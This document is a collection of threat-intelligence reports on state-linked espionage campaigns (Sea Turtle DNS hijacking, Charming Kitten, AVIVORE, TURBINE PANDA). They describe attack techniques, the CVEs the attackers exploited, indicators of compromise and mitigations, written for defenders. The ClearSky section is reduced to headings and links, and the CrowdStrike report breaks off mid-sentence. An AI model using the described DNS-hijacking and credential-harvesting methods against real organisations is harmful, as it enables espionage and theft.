Sea Turtle keeps on swimming, finds new victims, DNS hijacking techniques blog.talosintelligence.com/2019/07/sea-turtle-keeps-on-swimming.html By Danny Adamitis with contributions from Paul Rascagneres. Executive summary After several months of activity, the actors behind the "Sea Turtle" DNS hijacking campaign are not slowing down. Cisco Talos recently discovered new details that suggest they regrouped after we published our initial findings and coverage and are redoubling their efforts with new infrastructure. While many actors will slow down once they are discovered, this group appears to be unusually brazen, and will be unlikely to be deterred going forward. Additionally, we discovered a new DNS hijacking technique that we assess with moderate confidence is connected to the actors behind Sea Turtle. This new technique is similar in that the threat actors compromise the name server records and respond to DNS requests with falsified A records. This new technique has only been observed in a few highly targeted operations. We also identified a new wave of victims, including a country code top-level domain (ccTLD) registry, which manages the DNS records for every domain uses that particular country code, that access was used to then compromise additional government entities. Unfortunately, unless there are significant changes made to better secure DNS, these sorts of attacks are going to remain prevalent. New DNS hijacking technique Talos now has moderate confidence that the threat actors behind Sea Turtle have been using another DNS hijacking technique. This new technique has been used very sparingly, and thus far have only identified two entities that were targeted in 2018, though we believe there are likely more. This new technique once again involved modifying the target domain's name server records to point legitimate users to the actor-controlled server. In this case, the actor-controlled name server and the hijacked hostnames would both resolve to the same IP address for a short period of time, typically less than 24 hours. In both observed cases, one of the hijacked hostnames would reference an email service and the threat actors would presumably harvest user credentials. One aspect of this technique that makes it extremely difficult to track is that the actor-controlled name servers were not used across multiple targets meaning that every entity hijacked with this technique had its own dedicated name server hostname and its own dedicated IP address. Whereas previously reported name server domains such as ns1[.]intersecdns[.]com were used to target multiple organizations. In one case, a private organization primarily used a third-party service as their authoritative name server. Then, for a three-hour window in January 2018, their name server records were changed to a name server hostname that mimicked a slightly different version of the organization's name. During that three-hour window, the actor-controlled IP address hosted three hostnames, the two actor-controlled name servers and the webmail hostname. This would allow the threat actors to perform a man-in-the-middle (MitM) attack, as outlined in our previous post, and harvest credentials. This technique was also observed against a government organizations in the Middle East and North African region. Continued activity against ccTLD The Institute of Computer Science of the Foundation for Research and Technology - Hellas (ICS-Forth), the ccTLD for Greece, acknowledged on its public website that its network had been compromised on April 19, 2019. Based on Cisco telemetry, we determined that the actors behind the Sea Turtle campaign had access to the ICS-Forth network. Cisco telemetry confirmed that the actors behind Sea Turtle maintained access to the ICSForth network from an operational command and control (C2) node. Our telemetry indicates that the actors maintained access in the ICS-Forth network through at least April 24, five days after the statement was publicly released. Upon analysis of this operational C2 node, we determined that it was also used to access an organization in Syria that was previously redirected using the actor-controlled name server ns1[.]intersecdns[.]com. This indicates that the same threat actors were behind both operations. We also saw evidence that the threat actors researched the open-source tool PHP-Proxy. Notably, this particular C2 node searched for both blog.talosintelligence.com and ncsc.gov.uk, presumably to view Talos' previous reports on DNS hijacking and this DNS hijacking advisory from the United Kingdom's National Cyber Security Centre. New actor-controlled nameserver We recently discovered a new actor-controlled nameserver, rootdnservers[.]com, that exhibited similar behavior patterns as name servers previously utilized as part of the Sea Turtle campaign. The domain rootdnservers[.]com was registered on April 5, 2019 through the registrar NameCheap. The new actor-controlled name server rootdnservers[.]com was utilized to perform DNS hijacking against three government entities that all used .gr, the Greek ccTLD. It's likely that these hijackings were performed through the access the threat actors obtained in the ICS-Forth network. Below is a table showing the three most recent actor-controlled name servers that we have associated with this activity and their current operational status. Hostnames IP addresses Operational Status ns1[.]rootdnservers[.]com. 45[.]32[.]100[.]62 Active ns2[.]rootdnservers[.]com. 45[.]32[.]100[.]62 Active ns1[.]intersecdns[.]com 95[.]179[.]150[.]101 Inactive ns2[.]intersecdns[.]com 95[.]179[.]150[.]101 Inactive New IP addresses associated with man-in-the-middle activity By identifying the targeted domains, we were able to identify the hijacked hostnames and the corresponding actor-controlled MitM nodes. The threat actors, again employing previously documented tradecraft, by performing a "certificate impersonation" technique. This is where the threat actors procure an SSL certificate for the targeted hostname from a different SSL provider. Below is a table showing the dates and associated IP addresses. Date IP address April 13, 2019 95[.]179[.]131[.]225 April 16, 2019 95[.]179[.]131[.]225 April 11, 2019 95[.]179[.]131[.]225 April 11, 2019 140[.]82[.]58[.]253 April 10, 2019 95[.]179[.]156[.]61 Updated victimology Since our initial report, Sea Turtle has continued to compromise a number of different entities to fulfill their requirements. We have identified some of the new primary targets as: Government organizations Energy companies Think tanks International non-governmental organizations At least one airport In terms of secondary targets, we have seen very similar targets as those previously reported, such as telecommunications providers, internet service providers and one registry. Coverage and mitigations In order to best protect against this type of attack, we compiled a list of potential actions. We have included additional security recommendations, that were highlighted by Bill Woodcock during his presentations on DNS/IMAP attacks. We recommend implementing multi-factor authentication, such as DUO, to secure the management of your organization's DNS records at your registrar, and to connect remotely to your corporate network via a Virtual Private Network (VPN). Talos suggests a registry lock service on your domain names, which will require the registrar to provide an out-of-band confirmation before the registry will process any changes to an organization's DNS record. DNSSEC sign your domains, either in-house, or using a DNS service provider which performs DNSSEC key-management services. DNSSEC validate all DNS lookups in your recursive resolver, either using in-house nameservers, or a service like Cisco Umbrella / OpenDNS. Make Internet Message Access Protocol (IMAP) email servers accessible only from your corporate LAN and to users who have already authenticated over a VPN. If you suspect you were targeted by this type of activity, we recommend instituting a network-wide password reset, preferably from a computer on a trusted network. Lastly, network administrators can monitor passive DNS record on their domains, to check for abnormalities. Indicators of compromise IP address Characterization Date Range 185[.]64[.]105[.]100 Operational Node March - April 2019 178[.]17[.]167[.]51 Operational Node June 2019 95[.]179[.]131[.]225 Mitm Node April 2019 140[.]82[.]58[.]253 Mitm Node April 2019 95[.]179[.]156[.]61 Mitm Node April 2019 196[.]29[.]187[.]100 Mitm Node December 2018 188[.]226[.]192[.]35 Mitm Node January 2018 ns1[.]rootdnservers[.]com Actor-controlled nameserver April 2019 ns2[.]rootdnservers[.]com Actor-controlled nameserver April 2019 45[.]32[.]100[.]62 Hosted malicious nameserver April 2019 ns1[.]intersecdns[.]com Actor-controlled nameserver February - April 2019 ns2[.]intersecdns[.]com Actor-controlled nameserver February - April 2019 95[.]179[.]150[.]101 Hosted malicious nameserver February - July 2019 DNS Hijacking Abuses Trust In Core Internet Service blog.talosintelligence.com/2019/04/seaturtle.html Authors: Danny Adamitis, David Maynor, Warren Mercer, Matthew Olney and Paul Rascagneres. Update 4/18: A correction has been made to our research based on feedback from Packet Clearing House, we thank them for their assistance Preface This blog post discusses the technical details of a state-sponsored attack manipulating DNS systems. While this incident is limited to targeting primarily national security organizations in the Middle East and North Africa, and we do not want to overstate the consequences of this specific campaign, we are concerned that the success of this operation will lead to actors more broadly attacking the global DNS system. DNS is a foundational technology supporting the Internet. Manipulating that system has the potential to undermine the trust users have on the internet. That trust and the stability of the DNS system as a whole drives the global economy. Responsible nations should avoid targeting this system, work together to establish an accepted global norm that this system and the organizations that control it are off-limits, and cooperate in pursuing those actors who act irresponsibly by targeting this system. Executive Summary 1/13 Cisco Talos has discovered a new cyber threat campaign that we are calling "Sea Turtle," which is targeting public and private entities, including national security organizations, located primarily in the Middle East and North Africa. The ongoing operation likely began as early as January 2017 and has continued through the first quarter of 2019. Our investigation revealed that at least 40 different organizations across 13 different countries were compromised during this campaign. We assess with high confidence that this activity is being carried out by an advanced, state-sponsored actor that seeks to obtain persistent access to sensitive networks and systems. The actors behind this campaign have focused on using DNS hijacking as a mechanism for achieving their ultimate objectives. DNS hijacking occurs when the actor can illicitly modify DNS name records to point users to actor-controlled servers. The Department of Homeland Security (DHS) issued an alert about this activity on Jan. 24 2019, warning that an attacker could redirect user traffic and obtain valid encryption certificates for an organization's domain names. In the Sea Turtle campaign, Talos was able to identify two distinct groups of victims. The first group, we identify as primary victims, includes national security organizations, ministries of foreign affairs, and prominent energy organizations. The threat actor targeted third-party entities that provide services to these primary entities to obtain access. Targets that fall into the secondary victim category include numerous DNS registrars, telecommunication companies, and internet service providers. One of the most notable aspects of this campaign was how they were able to perform DNS hijacking of their primary victims by first targeting these third-party entities. We assess with high confidence that these operations are distinctly different and independent from the operations performed by DNSpionage, which we reported on in November 2018. The Sea Turtle campaign almost certainly poses a more severe threat than DNSpionage given the actor's methodology in targeting various DNS registrars and registries. The level of access we presume necessary to engage in DNS hijacking successfully indicates an ongoing, high degree of threat to organizations in the targeted regions. Due to the effectiveness of this approach, we encourage all organizations, globally, to ensure they have taken steps to minimize the possibility of malicious actors duplicating this attack methodology. The threat actors behind the Sea Turtle campaign show clear signs of being highly capable and brazen in their endeavors. The actors are responsible for the first publicly confirmed case against an organizations that manages a root server zone, highlighting the attacker's sophistication. Notably, the threat actors have continued their attacks despite public reports documenting various aspects of their activity, suggesting they are unusually brazen and may be difficult to deter going forward. In most cases, threat actors typically stop or slow down their activities once their campaigns are publicly revealed. 2/13 This post provides the technical findings you would typically see in a Talos blog. We will also offer some commentary on the threat actor's tradecraft, including possible explanations about the actor's attack methodology and thought process. Finally, we will share the IOCs that we have observed thus far, although we are confident there are more that we have not seen. Background on Domain Name Services and records management The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space. This section provides a brief overview of where DNS records are managed and how they are accessed to help readers better understand how these events unfolded. The first and most direct way to access an organization's DNS records is through the registrar with the registrant's credentials. These credentials are used to login to the DNS provider from the client-side, which is a registrar. If an attacker was able to compromise an organization's network administrator credentials, the attacker would be able to change that particular organization's DNS records at will. The second way to access DNS records is through a DNS registrar, sometimes called registrar operators. A registrar sells domain names to the public and manages DNS records on behalf of the registrant through the domain registry. Records in the domain registry are accessed through the registry application using the Extensible Provisioning Protocol (EPP). EPP was detailed in the request for comment (RFC) 5730 as "a means of interaction between a registrar's applications and registry applications." If the attackers were able to obtain one of these EPP keys, they would be able to modify any DNS records that were managed by that particular registrar. The third approach to gain access to DNS records is through one of the registries. These registries manage any known TLD, such as entire country code top-level domains (ccTLDs) and generic top-level domains (gTLDs). For example, Verisign manages all entities associated with the top-level domain (TLD) ".com." All the different registry information then converges into one of 12 different organization that manage different parts of the domain registry root. The domain registry root is stored on 13 "named authorities in the delegation data for the root zone," according to ICANN. Finally, actors could target root zone servers to modify the records directly. It is important to note that there is no evidence during this campaign (or any other we are aware of) that the root zone servers were attacked or compromised. We highlight this as a potential avenue that attackers would consider. The root DNS servers issued a joint statement that stated, "There are no signs of lost integrity or compromise of the content of the root [server] zone There are no signs of clients having received unexpected responses from root servers." 3/13 Assessed Sea Turtle DNS hijacking methodology It is important to remember that the DNS hijacking is merely a means for the attackers to achieve their primary objective. Based on observed behaviors, we believe the actor ultimately intended to steal credentials to gain access to networks and systems of interest. To achieve their goals, the actors behind Sea Turtle: 1. Established a means to control the DNS records of the target. 2. Modified DNS records to point legitimate users of the target to actor-controlled servers. 3. Captured legitimate user credentials when users interacted with these actorcontrolled servers. The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals. Redirection Attack Methodology Diagram 4/13 Operational tradecraft Initial access The threat actors behind the Sea Turtle campaign gained initial access either by exploiting known vulnerabilities or by sending spear-phishing emails. Talos believes that the threat actors have exploited multiple known CVEs to either gain initial access or to move laterally within an affected organization. Based on our research, we know the actor utilizes the following known exploits: CVE-2009-1151: PHP code injection vulnerability affecting phpMyAdmin CVE-2014-6271: RCE affecting GNU bash system, specifically the SMTP (this was part of the Shellshock CVEs) CVE-2017-3881: RCE by unauthenticated user with elevated privileges Cisco switches CVE-2017-6736: Remote Code Exploit (RCE) for Cisco integrated Service Router 2811 CVE-2017-12617: RCE affecting Apache web servers running Tomcat CVE-2018-0296: Directory traversal allowing unauthorized access to Cisco Adaptive Security Appliances (ASAs) and firewalls 5/13 CVE-2018-7600: RCE for Website built with Drupal, aka "Drupalgeddon" As of early 2019, the only evidence of the spear-phishing threat vector came from a compromised organization's public disclosure. On January 4, Packet Clearing House, which is not an Internet exchange point but rather is an NGO which provides support to Internet exchange points and the core of the domain name system, provided confirmation of this aspect of the actors tactics when it publicly revealed its internal DNS had been briefly hijacked as a consequence of the compromise at its domain registrar. As with any initial access involving a sophisticated actor, we believe this list of CVEs to be incomplete. The actor in question can leverage known vulnerabilities as they encounter a new threat surface. This list only represents the observed behavior of the actor, not their complete capabilities. Globalized DNS hijacking activity as an infection vector During a typical incident, the actor would modify the NS records for the targeted organization, pointing users to a malicious DNS server that provided actor-controlled responses to all DNS queries. The amount of time that the targeted DNS record was hijacked can range from a couple of minutes to a couple of days. This type of activity could give an attacker the ability to redirect any victim who queried for that particular domain around the world. Other cybersecurity firms previously reported some aspects of this activity. Once the actor-controlled name server was queried for the targeted domain, it would respond with a falsified "A" record that would provide the IP address of the actorcontrolled MitM node instead of the IP address of the legitimate service. In some instances, the threat actors modified the time-to-live (TTL) value to one second. This was likely done to minimize the risk of any records remaining in the DNS cache of the victim machine. During 2019, we observe the following name servers being used in support of the Sea Turtle campaign: Domain Active Timeframe ns1[.]intersecdns[.]com March - April 2019 ns2[.]intersecdns[.]com March - April 2019 ns1[.]lcjcomputing[.]com January 2019 ns2[.]lcjcomputing[.]com January 2019 6/13 Credential harvesting: Man-in-the-middle servers Once the threat actors accessed a domain's DNS records, the next step was to set up a manin-the-middle (MitM) framework on an actor-controlled server. The next step for the actor was to build MitM servers that impersonated legitimate services to capture user credentials. Once these credentials were captured, the user would then be passed to the legitimate service. to evade detection, the actors performed "certificate impersonation," a technique in which the attacker obtained a certificate authority-signed X.509 certificate from another provider for the same domain imitating the one already used by the targeted organization. For example, if a DigiCert certificate protected a website, the threat actors would obtain a certificate for the same domain but from another provider, such as Let's Encrypt or Comodo. This tactic would make detecting the MitM attack more difficult, as a user's web browser would still display the expected "SSL padlock" in the URL bar. When the victim entered their password into the attacker's spoofed webpage, the actor would capture these credentials for future use. The only indication a victim received was a brief lag between when the user entered their information and when they obtained access to the service. This would also leave almost no evidence for network defenders to discover, as legitimate network credentials were used to access the accounts. In addition to the MitM server IP addresses published in previous reports, Talos identified 16 additional servers leveraged by the actor during the observed attacks. The complete list of known malicious IP addresses are in the Indicators of Compromise (IOC) section below. Credential harvesting with compromised SSL certificates Once the threat actors appeared to have access to the network, they stole the organization's SSL certificate. The attackers would then use the certificate on actor-controlled servers to perform additional MitM operations to harvest additional credentials. This allowed the actors to expand their access into the targeted organization's network. The stolen certificates were typically only used for less than one day, likely as an operational security measure. Using stolen certificates for an extended period would increase the likelihood of detection. In some cases, the victims were redirected to these actor-controlled servers displaying the stolen certificate. One notable aspect of the campaign was the actors' ability to impersonate VPN applications, such as Cisco Adaptive Security Appliance (ASA) products, to perform MitM attacks. At this time, we do not believe that the attackers found a new ASA exploit. Rather, they likely 7/13 abused the trust relationship associated with the ASA's SSL certificate to harvest VPN credentials to gain remote access to the victim's network. This MitM capability would allow the threat actors to harvest additional VPN credentials. As an example, DNS records indicate that a targeted domain resolved to an actor-controlled MitM server. The following day, Talos identified an SSL certificate with the subject common name of "ASA Temporary Self Signed Certificate" associated with the aforementioned IP address. This certificate was observed on both the actor-controlled IP address and on an IP address correlated with the victim organization. In another case, the attackers were able to compromise NetNod, a non-profit, independent internet infrastructure organization based in Sweden. NetNod acknowledged the compromise in a public statement on February 5, 2019. Using this access, the threat actors were able to manipulate the DNS records for sa1[.]dnsnode[.]net. This redirection allowed the attackers to harvest credentials of administrators who manage domains with the TLD of Saudi Arabia (.sa). It is likely that there are additional Saudi Arabia-based victims from this attack. In one of the more recent campaigns on March 27, 2019, the threat actors targeted the Sweden-based consulting firm Cafax. On Cafax's public webpage, the company states that one of their consultants actively manages the i[.]root-server[.]net zone. NetNod managed this particular DNS server zone. We assess with high confidence that this organization was targeted in an attempt to re-establish access to the NetNod network, which was previously compromised by this threat actor. Primary and secondary victims 8/13 We identified 40 different organizations that have been targeted during this campaign. The victim organizations appear to be broadly grouped into two different categories. The first group of victims, which we refer to as primary victims, were almost entirely located in the Middle East and North Africa. Some examples of organizations that were compromised include: Ministries of foreign affairs Military organizations Intelligence agencies Prominent energy organizations The second cluster of victim organizations were likely compromised to help enable access to these primary targets. These organizations were located around the world; however, they were mostly concentrated in the Middle East and North Africa. Some examples of organizations that were compromised include: Telecommunications organizations Internet service providers Information technology firms Registrars One registry Notably, the threat actors were able to gain access to registrars that manage ccTLDs for Amnic, which is listed as the technical contact on IANA for the ccTLD .am. Obtaining access to this ccTLD registrars would have allowed attackers to hijack any domain that used those ccTLDs. How is this tradecraft different? The threat actors behind the Sea Turtle campaign have proven to be highly capable, as they have been able to perform operations for over two years and have been undeterred by public reports documenting various aspects of their activity. This cyber threat campaign represents the first known case of a domain name registry organization that was compromised for cyber espionage operations. In order to distinguish this activity from the previous reporting on other attackers, such as those affiliated with DNSpionage, below is a list of traits that are unique to the threat actors behind the Sea Turtle campaign: These actors perform DNS hijacking through the use of actor-controlled name servers. These actors have been more aggressive in their pursuit targeting DNS registries and a number of registrars, including those that manage ccTLDs. These actors use Let's Encrypts, Comodo, Sectigo, and self-signed certificates in their 9/13 MitM servers to gain the initial round of credentials. Once they have access to the network, they steal the organization's legitimate SSL certificate and use it on actor-controlled servers. Why was it so successful? We believe that the Sea Turtle campaign continues to be highly successful for several reasons. First, the actors employ a unique approach to gain access to the targeted networks. Most traditional security products such as IDS and IPS systems are not designed to monitor and log DNS requests. The threat actors were able to achieve this level of success because the DNS domain space system added security into the equation as an afterthought. Had more ccTLDs implemented security features such as registrar locks, attackers would be unable to redirect the targeted domains. The threat actors also used an interesting techniques called certificate impersonation. This technique was successful in part because the SSL certificates were created to provide confidentiality, not integrity. The attackers stole organizations' SSL certificates associated with security appliances such as ASA to obtain VPN credentials, allowing the actors to gain access to the targeted network. The threat actors were able to maintain long term persistent access to many of these networks by utilizing compromised credentials. We will continue to monitor Sea Turtle and work with our partners to understand the threat as it continues to evolve to ensure that our customers remain protected and the public is informed. Mitigation strategy In order to best protect against this type of attack, we compiled a list of potential actions. Talos suggests using a registry lock service, which will require an out-of-band message before any changes can occur to an organization's DNS record. If your registrar does not offer a registry lock service, we recommend implementing multi-factor authentication, such as DUO, to access your organization's DNS records. If you suspect you were targeted by this type of activity intrusion, we recommend instituting a network-wide password reset, preferably from a computer on a trusted network. Lastly, we recommend applying patches, especially on internet-facing machines. Network administrators can monitor passive DNS record on their domains, to check for abnormalities. Coverage CVE-2009-1151: PHP code injection vulnerability affecting phpMyAdmin SID: 2281 10/13 CVE-2014-6271: RCE affecting GNU bash system, specific the SMTP (this was part of the Shellshock CVEs) SID: 31975 - 31978, 31985, 32038, 32039, 32041 - 32043, 32069, 32335, 32336 CVE-2017-3881: RCE for Cisco switches SID: 41909 - 41910 CVE-2017-6736: Remote Code Exploit (RCE) for Cisco integrated Service Router 2811 SID: 43424 - 43432 CVE-2017-12617: RCE affecting Apache web servers running Tomcat SID: 44531 CVE-2018-0296: Directory traversal to gain unauthorized access to Cisco Adaptive Security Appliances (ASAs) and Firewalls SID: 46897 CVE-2018-7600: RCE for Website built with Drupal aka "Drupalgeddon" SID: 46316 Indicators of Compromise The threat actors utilized leased IP addresses from organizations that offer virtual private server (VPS) services. These VPS providers have since resold many of these IP addresses to various benign customers. To help network defenders, we have included the IP address, as well as the month(s) that the IP address was associated with the threat actor. IP address Month Year Country of targets 199.247.3.191 November 2018 Albania, Iraq 37.139.11.155 November 2018 Albania, UAE 185.15.247.140 January 2018 Albania 206.221.184.133 November 2018 Egypt 188.166.119.57 November 2018 Egypt 185.42.137.89 November 2018 Albania 82.196.8.43 October 2018 Iraq 159.89.101.204 December - January 2018-2019 Turkey, Sweden, Syria, Armenia, US 146.185.145.202 March 2018 Armenia 11/13 178.62.218.244 December - January 2018-2019 UAE, Cyprus 139.162.144.139 December 2018 Jordan 142.54.179.69 January - February 2017 Jordan 193.37.213.61 December 2018 Cyprus 108.61.123.149 February 2019 Cyprus 212.32.235.160 September 2018 Iraq 198.211.120.186 September 2018 Iraq 146.185.143.158 September 2018 Iraq 146.185.133.141 October 2018 Libya 185.203.116.116 2018 95.179.150.92 November 2018 174.138.0.113 September 2018 128.199.50.175 September 2018 139.59.134.216 July - December 2018 United States, Lebanon 45.77.137.65 March - April 2019 Syria, Sweden 142.54.164.189 March - April 2019 Syria 199.247.17.221 March 2019 Sweden The following list contains the threat actor name server domains and their IP address. Domain Active Timeframe IP address ns1[.]intersecdns[.]com March - April 2019 95.179.150.101 ns2[.]intersecdns[.]com March - April 2019 95.179.150.101 ns1[.]lcjcomputing[.]com January 2019 95.179.150.101 ns2[.]lcjcomputing[.]com January 2019 95.179.150.101 12/13 13/13 The Kittens Are Back in Town 2 Charming Kitten Campaign Keeps Going on, Using New Impersonation Methods October 2019 TLP:WHITE 2019 All rights reserved to ClearSky Security Ltd. TLP: WHITE - Subject to standard copyright rules, information may be distributed freely, without restriction. October 2019 Table of Content Introduction .................................................................................................................3 About Charming Kitten ..................................................................................................4 Attack Vector ...............................................................................................................5 Impersonation Vectors ..................................................................................................5 Digital Infrastructure ................................................................................................... 14 Indicators of Compromise ............................................................................................ 17 October 2019 Introduction https://www.clearskysec.com/the-kittens-are-back-in-town/ October 2019 About Charming Kitten See corresponding footnote for relevant references4. 2015 - https://www.clearskysec.com/thamar-reservoir/ 2017 - https://www.clearskysec.com/charmingkitten/ 2018 - https://www.bleepingcomputer.com/news/security/iranian-apt-poses-as-israeli-cybersecurity-firm-that-exposed-its-operations/ March 2019 - https://noticeofpleadings.com/phosphorus/files/Complaint.pdf September 2019 https://www.clearskysec.com/the-kittens-are-back-in-town/ October 2019 - https://blogs.microsoft.com/on-the-issues/2019/10/04/recent-cyberattacks-requireus-all-to-be-vigilant/ October 2019 Attack Vector Impersonation Vectors First Vector - A message with a link pretending to be Google Drive October 2019 October 2019 October 2019 October 2019 Second Vector An SMS message October 2019 Third Vector Login attempt alert message October 2019 Fourth Vector Social Networks imperonation October 2019 Note that the domains that are presented in the directory are related to the impersonation subject and not the malicious domain. October 2019 https://www.niacouncil.org/about-niac/staff-board/nooshin-sadegh-samimi/ October 2019 Digital Infrastructure October 2019 https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-fromhacking/ October 2019 https://noticeofpleadings.com/strontium/files/prop_ord_dj_pi_appc.pdf October 2019 Indicators of Compromise ClearSky Cyber Intelligence Report Photo by 42 North on Unsplash https://unsplash.com/photos/OE7H8Zp1 2019 All rights reserved to ClearSky Security Ltd. TLP: WHITE - The content of the document is solely for internal use. Distributing the report outside of recipient organization is not permitted. 2019 All rights reserved to ClearSky Security Ltd. TLP: WHITE - Subject to standard copyright rules, information may be distributed freely, without restriction. AVIVORE Hunting Global Aerospace through the Supply Chain contextis.com/en/blog/avivore Until now, most prominent supply chain intrusions have been "vertical"; initial victims are typically Managed Services Providers or software vendors leveraged by attackers to move up or down the supply chain. However, since summer 2018, Context Information Security has been investigating a series of incidents targeting UK and European Aerospace and Defence that are best described as "horizontal". Advanced attackers have been leveraging direct connectivity between suppliers and partners who are integrated into each other value chains. We have been tracking this activity under the codename AVIVORE. Affected victims include large multinational firms (Primes) and smaller engineering or consultancy firms within their supply chain (Secondaries). Context has worked closely with victims, the National Cyber Security Centre (NCSC), security organisations, and law enforcement agencies across Europe to reduce impact and prevent further compromise. Who is AVIVORE? Context categorises AVIVORE as a previously unknown and untracked nation-state level adversary, whose operators working hours appear to correlate to a time zone of UTC +8. The primary objective for their intrusions is believed to be espionage, as well as access enablement through supply chain partners. Recent reporting into incidents affecting Aerospace and Defence Primes has speculated that either APT10 or JSSD (Jiangsu Province Ministry of State Security) may be responsible for this activity. Whilst certain similarities between these adversaries' campaigns and those investigated by Context exist, the Tactics, Techniques and Procedures (TTPs), infrastructure and tooling observed differ significantly. Whilst involvement of these named adversaries cannot be ruled out, available evidence suggests this campaign is the work of a separate adversary group. Capable and Adaptable AVIVORE showed themselves to be highly capable; adept at both living-off-the-land (masquerading as legitimate users) and in their operational security awareness; including forensically covering their tracks. They demonstrated detailed knowledge of key individuals associated with projects of interest, and were able to successfully mirror working times and patterns of these users to avoid arousing suspicions. They were also able to manipulate victim environments and security controls to facilitate and obfuscate their activities (e.g. modifying firewall rules to accept RDP over alternate ports; establishing hosts within the victim environment as remote access proxies). AVIVORE s attack methodology for the linked intrusions followed a relatively set-format: Access into victim through leverage of compromised user credentials and legitimate external remote access services; Escalate privileges within victim environment via abuse of legitimate tools and/or highly privileged service and enterprise administrator accounts; Conduct account and host enumeration using 'net' commands; Schedule execution of scripts and tooling run in the context of the SYSTEM user; Remove forensic artefacts of scripts & tooling, and clearing of event logs following execution; Use of RDP for lateral movement around the victim environment. Infrastructure and Tooling AVIVORE made extensive use of infrastructure providing interconnectivity between victims; affected Secondaries are often suppliers to multiple Primes and frequently maintain direct network connectivity via Virtual Private Networks (VPNs) or other remote and collaborative working solutions. AVIVORE exploited this relationship to bypass the (generally welldefended) perimeters of the Primes, evading critical controls and taking advantage of the challenges many organisations face in cross-boundary coordination. This technique, referred to as "Island Hopping", allowed AVIVORE to chain activity across multiple business units (with local IT and security teams operating independently) or geographical locales within victim environments. Where Context had visibility of victimfacing network infrastructure employed by AVIVORE, it primarily consisted of commercial VPN infrastructure located in Singapore and Japan, as well as Tor. This all served to obfuscate the origin of AVIVORE s connections into victim networks and made investigation challenging. AVIVORE demonstrated a preference for in-built system tooling and abuse of legitimate software. They introduced network scanning and certificate extractions tools, as well as Windows SysInternals tools such as ProcDump, across multiple victim environments. These binaries were renamed to imitate Windows DLLs and staged in file system locations associated with compatibility and performance logging. Such tools were typically executed on remote systems using scheduled tasks and then removed, together with their output, following execution. Multiple instances of the PlugX Remote Access Trojan were discovered on compromised hosts. Evidence suggested these implants were deployed between October 2015 and October 2016. File system artefacts indicated that attackers may have interacted with them between deployment and the 2018 intrusions. Although direct interaction with these implants was not observed during the investigation period, Context assess with lowmoderate confidence that they may be associated to the AVIVORE intrusions. Evidence indicated that some of the implants were patched in-memory, with modified configuration blocks injected post-execution to provide new C2 domains during times AVIVORE operators were active inside victim environments. Future Recommendations and Mitigations Though the majority of activity investigated by Context has taken place since Jan/Feb 2018, artefacts from some victim environments indicate that AVIVORE likely maintained persistent access since October 2015, and potentially even earlier. Therefore, it is possible that this is a small portion of a broader campaign. In addition to Aerospace and Defence engineering victims, Context has seen AVIVORE target assets related to a number of other verticals including: Automotive Consultancy Energy/Nuclear Space and Satellite Technology Based on the information and assets sought by AVIVORE, Context assesses with moderate confidence that the objective of the recent campaign was intellectual property theft from victim organisations. Although defence against advanced nation-state level actors can be challenging, Context recommend the following mitigations to disrupt future AVIVORE activity: Impose access limitations on supplier connections over VPNs, such as preventing their use outside of the supplier s business hours or from IP addresses and locations other than those pre-agreed, and restrict access only to data and assets they require to perform their actions. Ensure that security measures, such as multifactor authentication and enhanced auditing/logging are deployed to hosts and services into which suppliers are required to connect, in order to prevent or support the investigation of any suspicious user behaviour. Ensure that external remote access services implement appropriate log retention. Logs should contain enough information on the sources of inbound connections to enable identification of anomalies, such as concurrent log-ins with impossible geography. Ensure that credentials for highly privileged accounts and remote services are stored securely, and their use is appropriately monitored. Hosts such as domain controllers, sensitive file shares and Public Key Infrastructure servers, should also be subject to particular additional scrutiny and monitoring. Where possible, applications, documentation and technical information related to network infrastructure and configuration of remote access services should be made available only to engineers, IT support staff and other individuals with legitimate business need. INTELLIGENCE REPORT: HUGE FAN OF YOUR WORK: How TURBINE PANDA and China's Top Spies Enabled Beijing to Cut Corners on the C919 Passenger Jet PUBLISHED OCTOBER 2019 CROWDSTRIKE GLOBAL INTELLIGENCE TEAM web: WWW.CROWDSTRIKE.COM | twitter: @CROWDSTRIKE email: INTELLIGENCE@CROWDSTRIKE.COM This report is provided for situational awareness and network defense purposes only. DO NOT conduct searches on, communicate with, or engage any individuals, organizations, or network addresses identified in this report. Doing so may put you or your employer at risk and jeopardize ongoing investigation efforts. Copyright 2019 V1. 12/05VV1 FORWARD Rarely in the infosec industry do cyber investigators get the luxury of knowing the full scope of their adversary s campaign from tasking, to actual operations, all the way to completion. The oft-repeated mantra Attribution is hard largely stands true. Short of kicking down the door just as a cyber actor pushes enter, it is frustratingly hard to prove who is responsible for cyber attacks with 100% certainty. However, a series of recent U.S. Department of Justice (DoJ) indictments released over the course of two years, combined with CrowdStrike Intelligence s own research, has allowed for startling visibility into a facet of China s shadowy intelligence apparatus. In this blog, we take a look at how Beijing used a mixture of cyber actors sourced from China underground hacking scene, Ministry of State Security (MSS/ ) officers, company insiders, and state directives to fill key technology and intelligence gaps in a bid to bolster dual-use turbine engines which could be used for both energy generation and to enable its narrow-body twinjet airliner, the C919, to compete against western aerospace firms. What follows is a remarkable tale of traditional espionage, cyber intrusions, and cover-ups, all of which overlap with activity CrowdStrike Intelligence has previously attributed to the China-based adversary TURBINE PANDA. These operations are ultimately traceable back to the MSS Jiangsu Bureau, the likely perpetrators of the infamous 2015 U.S. Office of Personnel Management (OPM) breach. Figure 1. Leap Engine Source: https://www.flightglobal.com/news/articles/cfm-delivers-first-leap-1c-to-comac-414924/ Copyright 2019 V1. 12/05VV1 PART I: THE TARGET The story starts with a simple fact: Beijing accurately predicted that due to its rising economic status, China s middle class demand for air travel would far outpace its ability to supply aircraft and a domestic commercial aviation industry capable of supporting these logistics. Putting aside the obvious militarycivil ( ) benefits1 that turbine engines have for the energy and aviation sectors, much of China strategic push into this industry is predicated by necessity. China is predicted2 to succeed the U.S. as the world s largest aviation market by 2022, adding nearly 1 billion passengers by 2036. From China s 12th and 13th Five Year Plan to the increasingly scrutinized Made in China 2025 Plan,3 numerous state strategic plans have named aerospace and aviation equipment as one of ten priority industries to focus leap-frog developments. Figure 2. China s Exponential Growth in Air Travel Mirrored by Rise of China Middle Class Source: CSIS China Power Project A major focus of this strategy centered on building an indigenous Chinese-built commercial aircraft designed to compete with the duopoly of western aerospace. That aircraft would become the C919 aircraft roughly half the cost of its competitors, and which completed its first maiden flight4 in 2017 after years of delays due to design flaws. But the C919 can hardly be seen as a complete domestic triumph as 1 